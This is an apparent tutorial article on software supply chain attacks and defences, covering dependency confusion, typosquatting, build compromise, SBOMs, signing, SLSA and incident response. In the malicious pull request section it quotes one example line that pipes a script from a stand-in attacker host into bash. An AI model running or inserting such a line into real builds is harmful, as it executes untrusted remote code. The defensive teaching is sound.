Last modified: April 27, 2026
This article is written in: 🇺🇸
A supply chain attack targets the tools, dependencies, build systems, or distribution channels that an application relies on. Instead of attacking the application directly, the attacker compromises something the application already trusts.
This is especially dangerous because modern backend systems depend on many external components. A single application may use open-source packages, container base images, CI/CD tools, GitHub Actions, cloud services, package registries, deployment scripts, and infrastructure modules. If one trusted component is compromised, malicious code can spread into many downstream systems.
High-profile incidents such as SolarWinds, the XZ Utils backdoor, the npm event-stream compromise, and typosquatting campaigns show that supply chain attacks are realistic threats. They are difficult to detect because the malicious code may enter through a legitimate-looking package, trusted maintainer account, or signed build artifact.
A software supply chain includes every system, tool, package, script, and process involved in building and deploying software. This includes the developer workstation, source repository, package registry, build pipeline, container registry, deployment platform, and production environment.
Developer workstation
|
| git push
v
+------------------+ fetch deps +------------------+
| Source Repo | -----------------> | Package Registry |
| GitHub, GitLab | | npm, PyPI, Maven |
+------------------+ | crates.io, etc. |
| +------------------+
| triggers
v
+------------------+ pull base image +------------------+
| CI/CD Pipeline | ------------------> | Container Registry|
| Actions, Jenkins | | Docker Hub, ECR |
+------------------+ +------------------+
|
| push artifact
v
+------------------+
| CD / Deployment |
| K8s, ECS, VM |
+------------------+
|
v
+------------------+
| Production |
+------------------+
Every arrow in this diagram is a potential attack surface. A malicious dependency, compromised CI runner, poisoned container image, stolen signing key, or misconfigured package registry can all introduce risk.
Example supply chain risk:
{
"attackSurface": "package_registry",
"risk": "malicious dependency installed during build",
"impact": "malicious code included in production artifact"
}
The key problem is trust. Developers often assume that dependencies, build tools, and package registries are safe. Supply chain attacks exploit that trust.
Supply chain attacks can happen at many points in the software lifecycle. Some attacks target package names, others target maintainers, build systems, pull requests, or distribution channels.
Dependency confusion happens when an attacker publishes a malicious package to a public registry using the same name as a private internal package. If the public package has a higher version number, some package managers or misconfigured build systems may download the public package instead of the private one.
Internal registry: acme-internal-utils @ 1.2.0
Public npm registry: acme-internal-utils @ 9.9.9 <-- attacker-controlled
higher version wins
Example unsafe resolution:
{
"requestedPackage": "acme-internal-utils",
"expectedSource": "internal_registry",
"actualSource": "public_registry",
"installedVersion": "9.9.9",
"risk": "dependency_confusion"
}
This attack is dangerous because the package name looks legitimate. The build system may install the malicious dependency automatically.
Mitigation includes using a private registry proxy and explicitly configuring which scopes are allowed to come from public registries.
Example npm scope configuration:
@acme:registry=https://registry.acme.internal
Example safe resolution:
{
"requestedPackage": "@acme/internal-utils",
"source": "registry.acme.internal",
"publicRegistryFallback": false,
"status": "safe"
}
For Python, exact hashes can be pinned in requirements.txt:
acme-internal-utils==1.2.0 \
--hash=sha256:abcdef1234...
Hash pinning ensures that even if a package name resolves unexpectedly, the content must match the expected hash.
Typosquatting happens when attackers publish packages with names that look similar to legitimate packages. The goal is to trick developers into installing the wrong package by mistake.
| Legitimate package | Typosquat package |
requests |
reqeusts, request |
lodash |
lodahs, lodash_ |
boto3 |
bot03, botto3 |
Example accidental install:
pip install reqeusts
Example risk output:
{
"intendedPackage": "requests",
"installedPackage": "reqeusts",
"risk": "possible typosquatting package"
}
Typosquatting is simple but effective because developers often install packages quickly, especially during prototyping.
Mitigation includes checking package names carefully, verifying maintainers, reviewing download counts, using approved package allow-lists, and locking dependencies to exact versions.
Example allow-list result:
{
"package": "reqeusts",
"status": "blocked",
"reason": "not on approved dependency list"
}
A compromised maintainer account occurs when an attacker gains access to the account of a legitimate package maintainer. This may happen through phishing, credential stuffing, stolen tokens, or takeover of an abandoned package.
Once the attacker controls the account, they can publish a malicious version of a real package. This is especially dangerous because the package name and history are legitimate.
Legitimate maintainer Attacker
| |
| transfers ownership / phished |
+-----------------------------> +
|
| publishes malicious v3.3.6
v
+------------------+
| npm registry |
| event-stream |
| @3.3.6 malicious |
+------------------+
|
| apps install it
v
Malicious code executes
Example dependency update:
{
"package": "trusted-library",
"previousVersion": "3.3.5",
"newVersion": "3.3.6",
"publisher": "trusted_maintainer",
"risk": "publisher account may be compromised"
}
The update may look routine, especially if automated tooling opens a version bump.
Mitigation includes requiring MFA on package registry accounts, monitoring new versions of critical dependencies, reviewing changelogs, checking diffs, and using automated dependency PRs that can be reviewed before merging.
Example safer upgrade process:
{
"dependency": "trusted-library",
"newVersion": "3.3.6",
"automatedPR": true,
"securityReviewRequired": true,
"status": "pending_review"
}
A build system compromise targets the CI/CD pipeline itself. The source code may be clean, but the build system injects malicious code into the final artifact during compilation, packaging, or signing.
This type of attack is especially severe because the final artifact may still be signed by legitimate keys. Consumers may trust the artifact because it appears to come from the correct organization.
+-------------------+
| Source code OK |
+-------------------+
|
v
+-------------------+
| Build System | <-- attacker modifies build scripts or runner
| compromised | injects malicious code into artifact
+-------------------+
|
v
+-------------------+
| Signed Artifact | <-- signature is valid
| contains payload | but content is tampered with
+-------------------+
|
v
+-------------------+
| Production |
| executes payload |
+-------------------+
Example compromised build output:
{
"sourceCodeStatus": "clean",
"buildRunnerStatus": "compromised",
"artifactSignature": "valid",
"artifactContent": "tampered"
}
Mitigation includes using ephemeral build environments, hermetic builds, pinned CI actions, audited build scripts, provenance verification, and binary authorization.
Example safer CI configuration concept:
{
"buildRunner": "ephemeral",
"thirdPartyActionsPinned": true,
"artifactProvenance": "signed",
"deploymentRequiresVerification": true
}
For GitHub Actions, pinning an action to a full commit SHA is safer than using a mutable tag.
uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608
A tag such as @v4 can change over time, while a commit SHA points to exact code.
Open-source projects and internal repositories can be targeted with malicious pull requests. The attacker may submit code that appears useful but contains subtle backdoors, unsafe build changes, or hidden dependency updates.
These attacks can be social as well as technical. An attacker may build trust over time, become a contributor, and then introduce harmful changes later.
Example suspicious pull request change:
+ curl https://example-attacker.com/install.sh | bash
Example review output:
{
"pullRequest": 241,
"risk": "remote script execution added to build process",
"status": "blocked_pending_security_review"
}
Mitigation includes requiring multiple maintainers to review sensitive changes, using code owners, restricting access to secrets in forked pull requests, and sandboxing CI jobs.
GitHub Actions users should be especially careful with pull_request_target, because it can run workflows with elevated permissions if misused.
Example safer policy:
{
"forkPullRequestsHaveSecrets": false,
"codeOwnerReviewRequired": true,
"criticalPathChangesRequireTwoApprovals": true
}
Sometimes the threat comes from a legitimate package author who intentionally introduces destructive or disruptive behavior. This has happened in protestware incidents where maintainers changed their own packages to break applications or perform unexpected actions.
This highlights an uncomfortable truth: a dependency can be risky even if it comes from the real maintainer.
Example risk:
{
"package": "legitimate-package",
"maintainer": "real_author",
"risk": "intentional sabotage in new release"
}
Mitigation includes pinning versions, reviewing upgrades, using lock files, maintaining internal mirrors for critical dependencies, and requiring approval for new dependency versions.
Example safe upgrade policy:
{
"automaticInstallLatest": false,
"pinnedVersions": true,
"manualApprovalForMajorUpdates": true
}
A Software Bill of Materials, or SBOM, is a machine-readable inventory of the software components included in an application. It lists direct dependencies, transitive dependencies, versions, licenses, and sometimes vulnerability information.
SBOMs are useful because they help teams quickly answer the question: “Are we affected by this newly disclosed vulnerability?”
+------------------+
| Your Application |
| v2.4.1 |
+------------------+
Contains:
- express 4.18.2
- accepts 1.3.8
- depd 2.0.0
- lodash 4.17.21
- pg 8.11.3
- pg-connection-string 2.6.2
Example SBOM record:
{
"component": "lodash",
"version": "4.17.21",
"type": "library",
"license": "MIT"
}
Common SBOM formats include:
Generate an SBOM with Syft:
syft myapp:1.2.3 -o spdx-json > sbom.spdx.json
syft myapp:1.2.3 -o cyclonedx-json > sbom.cyclonedx.json
Example output:
{
"image": "myapp:1.2.3",
"sbomGenerated": true,
"formats": ["spdx-json", "cyclonedx-json"]
}
Scan an SBOM with Grype:
grype sbom:sbom.spdx.json --fail-on high
Example scan output:
{
"vulnerabilitiesFound": 4,
"highSeverity": 1,
"buildStatus": "failed"
}
The SBOM should be stored as a build artifact so it can be used later during incident response.
Dependency pinning ensures that builds use known versions of dependencies instead of automatically pulling the newest available release. Integrity verification ensures that the downloaded content matches what was expected.
Together, these controls reduce the risk of unexpected dependency changes.
Lock files record the exact versions resolved by the package manager. Many lock files also include integrity hashes.
| Ecosystem | Lock file |
| Node.js | package-lock.json, yarn.lock, pnpm-lock.yaml |
| Python | requirements.txt with hashes or poetry.lock |
| Go | go.sum |
| Rust | Cargo.lock |
| Ruby | Gemfile.lock |
| Java | BOM plus dependency checksums |
Example lock file benefit:
{
"dependency": "lodash",
"declaredRange": "^4.17.0",
"lockedVersion": "4.17.21",
"result": "build uses exact resolved version"
}
Always commit lock files for applications. Without them, different developers or CI runs may resolve different dependency versions.
Hash pinning verifies that the dependency content matches an expected cryptographic hash. This protects against tampered downloads or unexpected package changes.
Example pip hash generation:
pip-compile --generate-hashes requirements.in -o requirements.txt
Example generated requirement:
requests==2.31.0 \
--hash=sha256:58cd2187423839b8e... \
--hash=sha256:942c5a758f98d790...
Example integrity failure:
{
"package": "requests",
"expectedHash": "sha256:58cd...",
"actualHash": "sha256:9999...",
"status": "blocked"
}
npm lock files include integrity metadata automatically:
{
"node_modules/lodash": {
"version": "4.17.21",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZkGLZqJZFYjsLumBKg=="
}
}
Hash verification gives confidence that the installed package content is exactly what the lock file expected.
Artifact signing proves that a build artifact came from a trusted source and has not been modified after signing. Provenance describes how the artifact was built, including source repository, commit, workflow, builder, and build parameters.
These controls help answer two important questions:
Who built this artifact?
Was it built from the expected source using the expected process?
Sigstore provides tooling for signing and verifying software artifacts. Cosign is commonly used to sign container images. Keyless signing can use short-lived keys tied to an OIDC identity, such as a CI workflow identity.
Example signing command:
cosign sign --yes myregistry.io/myapp:1.2.3
Example verification command:
cosign verify \
--certificate-identity "https://github.com/acme/myapp/.github/workflows/release.yml@refs/tags/v1.2.3" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
myregistry.io/myapp:1.2.3
Example verification output:
{
"image": "myregistry.io/myapp:1.2.3",
"signatureValid": true,
"identity": "github-actions-release-workflow",
"status": "verified"
}
This helps deployment systems reject unsigned or incorrectly signed artifacts.
SLSA, or Supply-chain Levels for Software Artifacts, defines levels of supply chain security for build provenance.
| Level | Key requirement |
| SLSA 1 | Provenance exists |
| SLSA 2 | Hosted build and signed provenance |
| SLSA 3 | Hardened build and tamper-resistant provenance |
| SLSA 4 | Hermetic, reproducible build and two-party review |
Example GitHub Actions SLSA generator configuration:
jobs:
build:
uses: slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@v1.9.0
with:
go-version: "1.22"
Example provenance output:
{
"artifact": "myapp-linux-amd64",
"sourceRepository": "github.com/acme/myapp",
"commit": "abc123",
"builder": "github-actions",
"slsaLevel": 3
}
SLSA helps organizations move from “we built this somehow” to “we can prove how this was built.”
A reproducible build produces identical output from the same source code, dependencies, and build instructions. This allows independent parties to verify that a binary matches the claimed source.
Example reproducible build result:
{
"sourceCommit": "abc123",
"builderAHash": "sha256:1111...",
"builderBHash": "sha256:1111...",
"reproducible": true
}
If two independent builds produce different outputs, teams should investigate whether the build contains timestamps, machine-specific paths, random values, or possible tampering.
Dependency auditing helps teams identify known vulnerabilities and suspicious package behavior. Automated update tools help keep dependencies current, but updates still need review and testing.
| Tool | Ecosystem | What it does |
| Dependabot | npm, pip, Go, Maven, and others | Opens PRs to upgrade vulnerable dependencies |
| Renovate | Many ecosystems | Configurable dependency update automation |
| socket.dev | npm | Analyzes package behavior and suspicious patterns |
| OSV-Scanner | Major ecosystems | Scans lock files and SBOMs against OSV data |
Example OSV scan commands:
osv-scanner --lockfile package-lock.json
osv-scanner --lockfile requirements.txt
osv-scanner --sbom sbom.cyclonedx.json
Example scan output:
{
"package": "example-lib",
"installedVersion": "1.4.0",
"vulnerableRange": "<1.4.3",
"fixedVersion": "1.4.3",
"severity": "high"
}
Automated tools are helpful, but they should not blindly deploy every dependency update to production without tests.
Before adding a new package, review whether it is trustworthy and necessary. Every dependency increases the attack surface.
A practical review checklist:
Example review output:
{
"package": "new-helper-lib",
"recentActivity": "low",
"maintainers": 1,
"securityPolicy": "missing",
"decision": "reject_or_replace"
}
Small packages can still carry major risk. If a package provides only a few lines of functionality, it may be safer to implement that logic internally.
A private package proxy helps control which packages and versions can enter the organization. Instead of allowing developers and CI jobs to fetch directly from public registries, all package requests go through an approved proxy.
Developer / CI runner
|
| all package requests
v
+------------------+
| Private Proxy | Artifactory, AWS CodeArtifact, Nexus
| - allow-list | - cache approved packages
| - audit log | - block unapproved names/scopes
| - CVE scan | - scan packages on first fetch
+------------------+
|
| only allowed packages
v
+------------------+
| Public Registry |
| npm, PyPI, etc. |
+------------------+
Example blocked package:
{
"package": "acme-internal-utils",
"requestedSource": "public_npm",
"action": "blocked",
"reason": "internal package names must resolve only from private registry"
}
Example approved package:
{
"package": "lodash",
"version": "4.17.21",
"source": "private_proxy_cache",
"vulnerabilityScan": "passed"
}
Private proxies help prevent dependency confusion, enforce allow-lists, cache known-good packages, and provide audit logs.
When a supply chain compromise is discovered, teams must move quickly. The goal is to identify affected systems, stop active exploitation, deploy clean artifacts, rotate exposed secrets, and prevent recurrence.
Use the SBOM to determine which services include the affected component and which versions are vulnerable.
Example blast radius output:
{
"compromisedPackage": "example-lib",
"affectedVersion": "2.5.0",
"affectedServices": ["orders-api", "billing-worker", "admin-dashboard"]
}
If a service is actively running malicious code, remove it from rotation or restrict its access.
{
"service": "billing-worker",
"action": "isolated",
"networkAccess": "restricted"
}
Pin to a clean version and redeploy. If no clean version exists, fork and patch internally or remove the dependency.
{
"package": "example-lib",
"oldVersion": "2.5.0",
"newVersion": "2.5.1-clean",
"redeployStatus": "in_progress"
}
Confirm the new deployment does not include the compromised version.
{
"service": "orders-api",
"compromisedVersionPresent": false,
"verification": "passed"
}
Assume any secret accessible to the compromised process may have leaked. Revoke and rotate database passwords, API keys, cloud credentials, signing tokens, and service tokens.
{
"rotatedSecrets": [
"orders-db-password",
"payment-api-key",
"cloud-deploy-role-token"
],
"status": "completed"
}
After containment, determine how the dependency or artifact entered production. Update policies and tooling to prevent the same path from being used again.
Example post-mortem output:
{
"rootCause": "new dependency added without security review",
"correctiveActions": [
"require approval for new dependencies",
"enable private registry allow-list",
"generate SBOM for every build",
"enforce artifact signature verification"
]
}